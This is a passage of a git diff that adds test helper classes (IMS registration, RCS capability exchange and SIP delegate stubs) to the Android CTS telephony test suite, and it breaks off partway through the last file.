diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
new file mode 100644
index 0000000..afdd3d1
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsRegistration extends ImsRegistrationImplBase {
+
+    public static class NetworkRegistrationInfo {
+        public final int sipCode;
+        public final String sipReason;
+        NetworkRegistrationInfo(int code, String reason) {
+            sipCode = code;
+            sipReason = reason;
+        }
+    }
+
+    public static final int LATCH_UPDATE_REGISTRATION = 0;
+    public static final int LATCH_TRIGGER_DEREGISTRATION = 1;
+    private static final int LATCH_MAX = 2;
+    private static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    private final LinkedBlockingQueue<NetworkRegistrationInfo> mPendingFullRegistrationRequests =
+            new LinkedBlockingQueue<>();
+
+    @Override
+    public void triggerFullNetworkRegistration(int sipCode, String sipReason) {
+        mPendingFullRegistrationRequests.offer(new NetworkRegistrationInfo(sipCode, sipReason));
+    }
+
+    @Override
+    public void updateSipDelegateRegistration() {
+        synchronized (sLatches) {
+            sLatches[LATCH_UPDATE_REGISTRATION].countDown();
+        }
+    }
+
+    @Override
+    public void triggerSipDelegateDeregistration() {
+        synchronized (sLatches) {
+            sLatches[LATCH_TRIGGER_DEREGISTRATION].countDown();
+        }
+    }
+
+    public NetworkRegistrationInfo getNextFullNetworkRegRequest(int timeoutMs) throws Exception {
+        return mPendingFullRegistrationRequests.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public void resetLatch(int latchIndex, int newCount) {
+        synchronized (sLatches) {
+            sLatches[latchIndex] = new CountDownLatch(newCount);
+        }
+    }
+
+    public boolean waitForLatchCountDown(int latchIndex, int timeoutMs) {
+        CountDownLatch latch;
+        synchronized (sLatches) {
+            latch = sLatches[latchIndex];
+        }
+        while (latch.getCount() > 0) {
+            try {
+                return latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) { }
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index 89019b7..1712686 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -43,7 +43,8 @@
 
     private static final String TAG = "GtsImsTestImsService";
 
-    private static ImsRegistrationImplBase sImsRegistrationImplBase = new ImsRegistrationImplBase();
+    private static final TestImsRegistration sImsRegistrationImplBase =
+            new TestImsRegistration();
 
     private TestRcsFeature mTestRcsFeature;
     private TestMmTelFeature mTestMmTelFeature;
@@ -68,7 +69,9 @@
     public static final int LATCH_RCS_READY = 8;
     public static final int LATCH_MMTEL_CAP_SET = 9;
     public static final int LATCH_RCS_CAP_SET = 10;
-    private static final int LATCH_MAX = 11;
+    public static final int LATCH_UCE_LISTENER_SET = 11;
+    public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
+    private static final int LATCH_MAX = 13;
     protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
     static {
         for (int i = 0; i < LATCH_MAX; i++) {
@@ -85,6 +88,12 @@
     interface CapabilitiesSetListener {
         void onSet();
     }
+    interface RcsCapabilitySetListener {
+        void onSet();
+    }
+    interface DeviceCapPublishListener {
+        void onPublish();
+    }
 
     // This is defined here instead TestImsService extending ImsService directly because the GTS
     // tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
@@ -158,8 +167,20 @@
                             synchronized (mLock) {
                                 countDownLatch(LATCH_RCS_CAP_SET);
                             }
+                        },
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_UCE_LISTENER_SET);
                         }
-                        );
+                        });
+
+                // Setup UCE request listener
+                mTestRcsFeature.setDeviceCapPublishListener(() -> {
+                    synchronized (mLock) {
+                        countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+                    }
+                });
+
                 if (mSetNullRcsBinding) {
                     return null;
                 }
@@ -324,6 +345,23 @@
         return complete;
     }
 
+    public boolean waitForLatchCountdown(int latchIndex, long waitMs) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(waitMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete == false
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
     public void countDownLatch(int latchIndex) {
         synchronized (mLock) {
             sLatches[latchIndex].countDown();
@@ -342,7 +380,13 @@
         }
     }
 
-    public ImsRegistrationImplBase getImsRegistration() {
+    public TestSipTransport getSipTransport() {
+        synchronized (mLock) {
+            return mTestSipTransport;
+        }
+    }
+
+    public TestImsRegistration getImsRegistration() {
         synchronized (mLock) {
             return sImsRegistrationImplBase;
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
new file mode 100644
index 0000000..032e58a
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.net.Uri;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.cts.TestImsService.DeviceCapPublishListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
+import android.util.Log;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.Executor;
+
+/**
+ * A implementation class of RcsCapabilityExchangeImplBase for the TestRcsFeature.
+ */
+public class TestRcsCapabilityExchangeImpl extends RcsCapabilityExchangeImplBase {
+
+    private static final String LOG_TAG = "TestRcsCapExchangeImpl";
+
+    @FunctionalInterface
+    public interface PublishOperation {
+        void execute(DeviceCapPublishListener listener, String pidfXml, PublishResponseCallback cb)
+                throws ImsException;
+    }
+
+    @FunctionalInterface
+    public interface SubscribeOperation {
+        void execute(Collection<Uri> uris, SubscribeResponseCallback cb) throws ImsException;
+    }
+
+    @FunctionalInterface
+    public interface OptionsOperation {
+        void execute(Uri contactUri, List<String> myCapabilities, OptionsResponseCallback callback)
+                throws ImsException;
+    }
+
+    private DeviceCapPublishListener mPublishListener;
+
+    // The operation of publishing capabilities
+    private PublishOperation mPublishOperation;
+
+    // The operation of requesting capabilities.
+    private SubscribeOperation mSubscribeOperation;
+
+    // The operation of send Options
+    private OptionsOperation mOptionsOperation;
+
+    /**
+     * Create a new RcsCapabilityExchangeImplBase instance.
+     * @param executor The executor that remote calls from the framework will be called on.
+     */
+    public TestRcsCapabilityExchangeImpl(Executor executor, DeviceCapPublishListener listener) {
+        super(executor);
+        mPublishListener = listener;
+    }
+
+    public void setPublishOperator(PublishOperation operation) {
+        mPublishOperation = operation;
+    }
+
+    public void setSubscribeOperation(SubscribeOperation operator) {
+        mSubscribeOperation = operator;
+    }
+
+    public void setOptionsOperation(OptionsOperation operation) {
+        mOptionsOperation = operation;
+    }
+
+    @Override
+    public void publishCapabilities(String pidfXml, PublishResponseCallback cb) {
+        try {
+            mPublishOperation.execute(mPublishListener, pidfXml, cb);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "publishCapabilities exception: " + e);
+        }
+    }
+
+    @Override
+    public void subscribeForCapabilities(Collection<Uri> uris, SubscribeResponseCallback cb) {
+        try {
+            mSubscribeOperation.execute(uris, cb);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "subscribeForCapabilities exception: " + e);
+        }
+    }
+
+    @Override
+    public void sendOptionsCapabilityRequest(Uri contactUri, List<String> myCapabilities,
+            OptionsResponseCallback callback) {
+        try {
+            mOptionsOperation.execute(contactUri, myCapabilities, callback);
+        } catch (ImsException e) {
+            Log.w(LOG_TAG, "sendOptionsCapabilityRequest exception: " + e);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 3354158..593e61e 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -16,26 +16,54 @@
 
 package android.telephony.ims.cts;
 
+import android.telephony.ims.feature.CapabilityChangeRequest;
+import android.telephony.ims.feature.CapabilityChangeRequest.CapabilityPair;
+import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.RcsCapabilityExchangeImplBase;
 import android.util.Log;
 
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.Executor;
+
 public class TestRcsFeature extends RcsFeature {
+
     private static final String TAG = "CtsTestImsService";
 
     private final TestImsService.ReadyListener mReadyListener;
     private final TestImsService.RemovedListener mRemovedListener;
     private final TestImsService.CapabilitiesSetListener mCapSetListener;
+    private final TestImsService.RcsCapabilitySetListener mRcsCapabilitySetListener;
+
+    private TestRcsCapabilityExchangeImpl mCapExchangeImpl;
+    private CapabilityExchangeEventListener mCapEventListener;
+    private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
+
+    private CapabilityChangeRequest mCapabilityChangeRequest;
+    private int mCapabilitiesChangedResult = ImsFeature.CAPABILITY_SUCCESS;
 
     TestRcsFeature(TestImsService.ReadyListener readyListener,
             TestImsService.RemovedListener listener,
-            TestImsService.CapabilitiesSetListener setListener) {
+            TestImsService.CapabilitiesSetListener setListener,
+            TestImsService.RcsCapabilitySetListener uceCallbackListener) {
         mReadyListener = readyListener;
         mRemovedListener = listener;
         mCapSetListener = setListener;
+        mRcsCapabilitySetListener = uceCallbackListener;
 
         setFeatureState(STATE_READY);
     }
 
+    public void setDeviceCapPublishListener(TestImsService.DeviceCapPublishListener listener) {
+        mDeviceCapPublishListener = listener;
+    }
+
+    public void overrideCapabilitiesEnabledResult(int result) {
+        mCapabilitiesChangedResult = result;
+    }
+
     @Override
     public void onFeatureReady() {
         if (ImsUtils.VDBG) {
@@ -51,4 +79,56 @@
         }
         mRemovedListener.onRemoved();
     }
+
+    public RcsCapabilityExchangeImplBase createCapabilityExchangeImpl(Executor executor,
+            CapabilityExchangeEventListener listener) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.createCapabilityExchangeImpl called");
+        }
+        mCapEventListener = listener;
+        mCapExchangeImpl = new TestRcsCapabilityExchangeImpl(executor, mDeviceCapPublishListener);
+        mRcsCapabilitySetListener.onSet();
+        return mCapExchangeImpl;
+    }
+
+    public void removeCapabilityExchangeImpl(RcsCapabilityExchangeImplBase capExchangeImpl) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "TestRcsFeature.removeCapabilityExchangeImpl called");
+        }
+        mRcsCapabilitySetListener.onSet();
+    }
+
+    public CapabilityExchangeEventListener getEventListener() {
+        return mCapEventListener;
+    }
+
+    public TestRcsCapabilityExchangeImpl getRcsCapabilityExchangeImpl() {
+        return mCapExchangeImpl;
+    }
+
+    @Override
+    public void changeEnabledCapabilities(CapabilityChangeRequest request,
+            CapabilityCallbackProxy c) {
+        // Trigger the error callback if the result is failed
+        if (mCapabilitiesChangedResult != ImsFeature.CAPABILITY_SUCCESS) {
+            CapabilityChangeRequest.CapabilityPair capPair = request.getCapabilitiesToEnable()
+                    .get(0);
+            c.onChangeCapabilityConfigurationError(capPair.getCapability(), capPair.getRadioTech(),
+                    ImsFeature.CAPABILITY_ERROR_GENERIC);
+            return;
+        }
+        mCapabilityChangeRequest = request;
+        // Notify that the capabilities is changed.
+        mCapSetListener.onSet();
+    }
+
+    @Override
+    public boolean queryCapabilityConfiguration(int capability, int radioTech) {
+        List<CapabilityPair> pairList =  mCapabilityChangeRequest.getCapabilitiesToEnable();
+        if (pairList == null) return false;
+        Optional<CapabilityPair> queryResult = pairList.stream().filter(pair -> {
+            return (pair.getCapability() == capability) && (pair.getRadioTech() == radioTech);
+        }).findAny();
+        return queryResult.isPresent();
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
new file mode 100644
index 0000000..729efb9
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegate.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.telephony.ims.DelegateMessageCallback;
+import android.telephony.ims.DelegateRegistrationState;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.DelegateStateCallback;
+import android.telephony.ims.FeatureTagState;
+import android.telephony.ims.SipDelegateImsConfiguration;
+import android.telephony.ims.SipMessage;
+import android.telephony.ims.stub.SipDelegate;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import java.util.Set;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestSipDelegate implements SipDelegate {
+    private static final String LOG_TAG = "CtsImsSipDelegate";
+
+    public final int subId;
+    public final DelegateRequest delegateRequest;
+    private final DelegateStateCallback mStateCallback;
+    private final DelegateMessageCallback mMessageCallback;
+
+    private final LinkedBlockingQueue<SipMessage> mIncomingMessages = new LinkedBlockingQueue<>();
+    // Pair is <transactionId, error reason>
+    private final LinkedBlockingQueue<Pair<String, Integer>> mReceivedMessageAcks =
+            new LinkedBlockingQueue<>();
+    private final LinkedBlockingQueue<String> mCloseDialogRequests = new LinkedBlockingQueue<>();
+    private int mSendMessageDenyReason = -1;
+
+    public TestSipDelegate(int sub, DelegateRequest request, DelegateStateCallback cb,
+            DelegateMessageCallback mc) {
+        subId = sub;
+        delegateRequest = request;
+        mStateCallback = cb;
+        mMessageCallback = mc;
+    }
+
+    @Override
+    public void sendMessage(@NonNull SipMessage message, long configVersion) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "sendMessage");
+        mIncomingMessages.offer(message);
+        if (mSendMessageDenyReason > -1) {
+            mMessageCallback.onMessageSendFailure(ImsUtils.TEST_TRANSACTION_ID,
+                    mSendMessageDenyReason);
+        } else {
+            mMessageCallback.onMessageSent(ImsUtils.TEST_TRANSACTION_ID);
+        }
+    }
+
+    @Override
+    public void closeDialog(@NonNull String callId) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "closeDialog");
+        mCloseDialogRequests.offer(callId);
+    }
+
+    @Override
+    public void notifyMessageReceived(@NonNull String viaTransactionId) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "notifyMessageReceived");
+        mReceivedMessageAcks.offer(new Pair<>(viaTransactionId, -1));
+    }
+
+    @Override
+    public void notifyMessageReceiveError(@NonNull String viaTransactionId, int reason) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "notifyMessageReceiveError");
+        mReceivedMessageAcks.offer(new Pair<>(viaTransactionId, reason));
+    }
+
+    public void verifyMessageSend(SipMessage messageToVerify) throws Exception {
+        SipMessage m = mIncomingMessages.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(messageToVerify, m);
+    }
+
+    public void verifyCloseDialog(String callIdToVerify) throws Exception {
+        String requestedCallId = mCloseDialogRequests.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(callIdToVerify, requestedCallId);
+    }
+
+    public void setSendMessageDenyReason(int reason) {
+        mSendMessageDenyReason = reason;
+    }
+
+    public void receiveMessageAndVerifyReceivedCalled(SipMessage m) throws Exception {
+        mMessageCallback.onMessageReceived(m);
+        Pair<String, Integer> transactionAndIdPair = mReceivedMessageAcks.poll(
+                ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(ImsUtils.TEST_TRANSACTION_ID, transactionAndIdPair.first);
+        assertNotNull(transactionAndIdPair.second);
+        assertEquals(-1, transactionAndIdPair.second.intValue());
+    }
+
+    public void receiveMessageAndVerifyReceiveErrorCalled(SipMessage m, int reason)
+            throws Exception {
+        mMessageCallback.onMessageReceived(m);
+        Pair<String, Integer> transactionAndIdPair = mReceivedMessageAcks.poll(
+                ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(ImsUtils.TEST_TRANSACTION_ID, transactionAndIdPair.first);
+        assertNotNull(transactionAndIdPair.second);
+        assertEquals(reason, transactionAndIdPair.second.intValue());
+    }
+
+    public void notifyImsRegistrationUpdate(DelegateRegistrationState state) {
+        mStateCallback.onFeatureTagRegistrationChanged(state);
+    }
+
+    public void notifyImsConfigurationUpdate(SipDelegateImsConfiguration config) {
+        mStateCallback.onImsConfigurationChanged(config);
+    }
+
+    public void notifyOnCreated(Set<FeatureTagState> deniedTags) {
+        mStateCallback.onCreated(this, deniedTags);
+    }
+
+    public void notifyOnDestroyed(int reason) {
+        mStateCallback.onDestroyed(reason);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
new file mode 100644
index 0000000..1118009
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -0,0 +1,330 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.os.PersistableBundle;
+import android.telephony.ims.DelegateRegistrationState;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.FeatureTagState;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.SipDelegateConnection;
+import android.telephony.ims.SipDelegateImsConfiguration;
+import android.telephony.ims.SipDelegateManager;
+import android.telephony.ims.SipMessage;
+import android.telephony.ims.stub.DelegateConnectionMessageCallback;
+import android.telephony.ims.stub.DelegateConnectionStateCallback;
+import android.util.ArraySet;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class TestSipDelegateConnection implements DelegateConnectionStateCallback,
+        DelegateConnectionMessageCallback {
+
+    private interface ExceptionRunnable {
+        void run() throws Exception;
+    }
+
+    private static final String LOG_TAG = "CtsImsSipDelegateC";
+
+    public int destroyReason = -1;
+    public SipDelegateConnection connection;
+    public Set<FeatureTagState> deniedTags;
+    public DelegateRegistrationState regState;
+    public SipDelegateImsConfiguration sipConfig;
+    public final DelegateRequest delegateRequest;
+
+    private int mReceivedMessageErrorResponseReason = -1;
+    private CountDownLatch mLatch;
+    // Pair is <transactionId, error reason>
+    private final LinkedBlockingQueue<SipMessage> mReceivedMessages = new LinkedBlockingQueue<>();
+    private final LinkedBlockingQueue<Pair<String, Integer>> mSentMessageAcks =
+            new LinkedBlockingQueue<>();
+
+    public TestSipDelegateConnection(DelegateRequest request) {
+        delegateRequest = request;
+    }
+
+    public void connect(SipDelegateManager manager) throws Exception {
+        callUntilImsServiceIsAvailableNoReturn(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                        manager, (m) -> m.createSipDelegate(delegateRequest, Runnable::run, this,
+                                this), ImsException.class,
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
+    }
+
+    public void disconnect(SipDelegateManager manager, int reason) throws Exception {
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                manager, (m) -> m.destroySipDelegate(connection, reason),
+                ImsException.class,
+                "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+    }
+
+    public void triggerFullNetworkRegistration(SipDelegateManager manager, int sipCode,
+            String sipReason) throws Exception {
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                manager, (m) -> m.triggerFullNetworkRegistration(connection, sipCode, sipReason),
+                ImsException.class,
+                "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+    }
+
+    @Override
+    public void onMessageReceived(@NonNull SipMessage message) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageReceived");
+        mReceivedMessages.offer(message);
+        if (mReceivedMessageErrorResponseReason > -1) {
+            connection.notifyMessageReceiveError(ImsUtils.TEST_TRANSACTION_ID,
+                    mReceivedMessageErrorResponseReason);
+        } else {
+            connection.notifyMessageReceived(ImsUtils.TEST_TRANSACTION_ID);
+        }
+    }
+
+    @Override
+    public void onMessageSent(@NonNull String viaTransactionId) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageSent");
+        mSentMessageAcks.offer(new Pair<>(viaTransactionId, -1));
+    }
+
+    @Override
+    public void onMessageSendFailure(@NonNull String viaTransactionId, int reason) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageSendFailure");
+        mSentMessageAcks.offer(new Pair<>(viaTransactionId, reason));
+    }
+
+    @Override
+    public void onCreated(@NonNull SipDelegateConnection c) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onCreated");
+        connection = c;
+        mLatch.countDown();
+    }
+
+    @Override
+    public void onFeatureTagStatusChanged(@NonNull DelegateRegistrationState registrationState,
+            @NonNull Set<FeatureTagState> deniedFeatureTags) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onFeatureTagStatusChanged");
+        regState = registrationState;
+        deniedTags = deniedFeatureTags;
+        mLatch.countDown();
+    }
+
+    @Override
+    public void onImsConfigurationChanged(
+            @NonNull SipDelegateImsConfiguration registeredSipConfig) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onImsConfigurationChanged");
+        sipConfig = registeredSipConfig;
+        mLatch.countDown();
+    }
+
+    @Override
+    public void onDestroyed(int reason) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onDestroyed");
+        connection = null;
+        destroyReason = reason;
+        mLatch.countDown();
+    }
+
+    public void sendCloseDialog(String callId) {
+        assertNotNull("SipDelegate was null when closing dialog", connection);
+        connection.closeDialog(callId);
+    }
+
+    public void sendMessageAndVerifyCompletedSuccessfully(SipMessage messageToSend)
+            throws Exception {
+        assertNotNull("SipDelegate was null when sending message", connection);
+        connection.sendMessage(messageToSend, sipConfig.getVersion());
+        Pair<String, Integer> ack = mSentMessageAcks.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertNotNull(ack);
+        assertEquals(ImsUtils.TEST_TRANSACTION_ID, ack.first);
+        assertNotNull(ack.second);
+        assertEquals(-1, ack.second.intValue());
+    }
+
+    public void sendMessageAndVerifyFailure(SipMessage messageToSend, int expectedReason)
+            throws Exception {
+        assertNotNull("SipDelegate was null when sending message", connection);
+        // send invalid version if it was not sent.
+        long version = (sipConfig != null) ? sipConfig.getVersion() : -1;
+        connection.sendMessage(messageToSend, version);
+        Pair<String, Integer> ack = mSentMessageAcks.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertNotNull(ack);
+        // TODO actually check this, but for now the platform can not inspect SipMessages and send
+        // the real transaction ID. So, just ensure it is null.
+        //assertEquals(ImsUtils.TEST_TRANSACTION_ID, ack.first);
+        assertNotNull(ack.second);
+        assertEquals(expectedReason, ack.second.intValue());
+    }
+
+    public void verifyMessageReceived(SipMessage messageToVerify)
+            throws Exception {
+        SipMessage m = mReceivedMessages.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(messageToVerify, m);
+    }
+
+    public void setReceivedMessageErrorResponseReason(int reason) {
+        mReceivedMessageErrorResponseReason = reason;
+    }
+
+    public void verifyDelegateCreated() {
+        assertNotNull("SipDelegate is null when it should have been created", connection);
+    }
+
+    public void verifyConfigEquals(SipDelegateImsConfiguration config) {
+        assertNotNull("SIP configuration should not be null", sipConfig);
+        assertEquals("IMS config version is not correct", config.getVersion(),
+                sipConfig.getVersion());
+        PersistableBundle b = config.copyBundle();
+        for (String key : b.keySet()) {
+            assertTrue("tracked sip config does not contain the key [" + key + "}",
+                    sipConfig.containsKey(key));
+            // Not a true equality check, but close enough for the purposes of this test.
+            assertEquals(config.getString(key), sipConfig.getString(key));
+            assertEquals(config.getInt(key, -1), sipConfig.getInt(key, -1));
+            assertEquals(config.getBoolean(key, false),
+                    sipConfig.getBoolean(key, false));
+        }
+    }
+
+    public void verifyRegistrationStateRegistered() {
+        verifyRegistrationStateRegistered(delegateRequest.getFeatureTags());
+    }
+
+    public void verifyRegistrationStateRegistered(Set<String> tags) {
+        assertNotNull(regState);
+        assertFalse("No registered features found",
+                regState.getRegisteredFeatureTags().isEmpty());
+        ArraySet<String> notRegistered = new ArraySet<>(tags);
+        notRegistered.removeAll(regState.getRegisteredFeatureTags());
+        assertTrue("Not all requested features were registered: " + notRegistered,
+                notRegistered.isEmpty());
+        assertTrue(regState.getDeregisteringFeatureTags().isEmpty());
+        assertTrue(regState.getDeregisteredFeatureTags().isEmpty());
+    }
+
+    public void verifyRegistrationStateEmpty() {
+        assertNotNull(regState);
+        assertTrue(regState.getRegisteredFeatureTags().isEmpty());
+        assertTrue(regState.getDeregisteringFeatureTags().isEmpty());
+        assertTrue(regState.getDeregisteredFeatureTags().isEmpty());
+    }
+
+    public void verifyRegistrationStateEquals(DelegateRegistrationState s) {
+        assertEquals("unexpected registered tags", s.getRegisteredFeatureTags(),
+                regState.getRegisteredFeatureTags());
+        assertEquals("unexpected deregistering tags", s.getDeregisteringFeatureTags(),
+                regState.getDeregisteringFeatureTags());
+        assertEquals("unexpected deregistered tags", s.getDeregisteredFeatureTags(),
+                regState.getDeregisteredFeatureTags());
+    }
+
+
+    public void verifyNoneDenied() {
+        assertNotNull(deniedTags);
+        assertTrue(deniedTags.isEmpty());
+    }
+
+    public void verifyDenied(Set<FeatureTagState> denied) {
+        assertNotNull(deniedTags);
+        assertEquals(denied, deniedTags);
+    }
+
+    public void verifyAllDenied(int reason) {
+        assertNotNull(deniedTags);
+        // Ensure that if the request is empty, the denied tags are also empty.
+        if (delegateRequest.getFeatureTags().isEmpty()) {
+            assertTrue(deniedTags.isEmpty());
+        }
+        // All should be denied with the same reason.
+        FeatureTagState incorrectReason = deniedTags.stream().filter((t) -> t.getState() != reason)
+                .findAny().orElse(null);
+        Set<String> deniedFeatures = deniedTags.stream().map(FeatureTagState::getFeatureTag)
+                .collect(Collectors.toSet());
+        assertNull(incorrectReason);
+
+        Set<String> requestedTags = new ArraySet<>(delegateRequest.getFeatureTags());
+        requestedTags.removeAll(deniedFeatures);
+        assertTrue("Not all tags denied: " + requestedTags, requestedTags.isEmpty());
+    }
+
+    public void verifyDestroyed(int reason) {
+        assertEquals(reason, destroyReason);
+    }
+
+    /**
+     * Set the number of operations that are expected to happen. Use {@link #waitForCountDown(long)}
+     * to wait for the operations to occur.
+     */
+    public void setOperationCountDownLatch(int operationCount) {
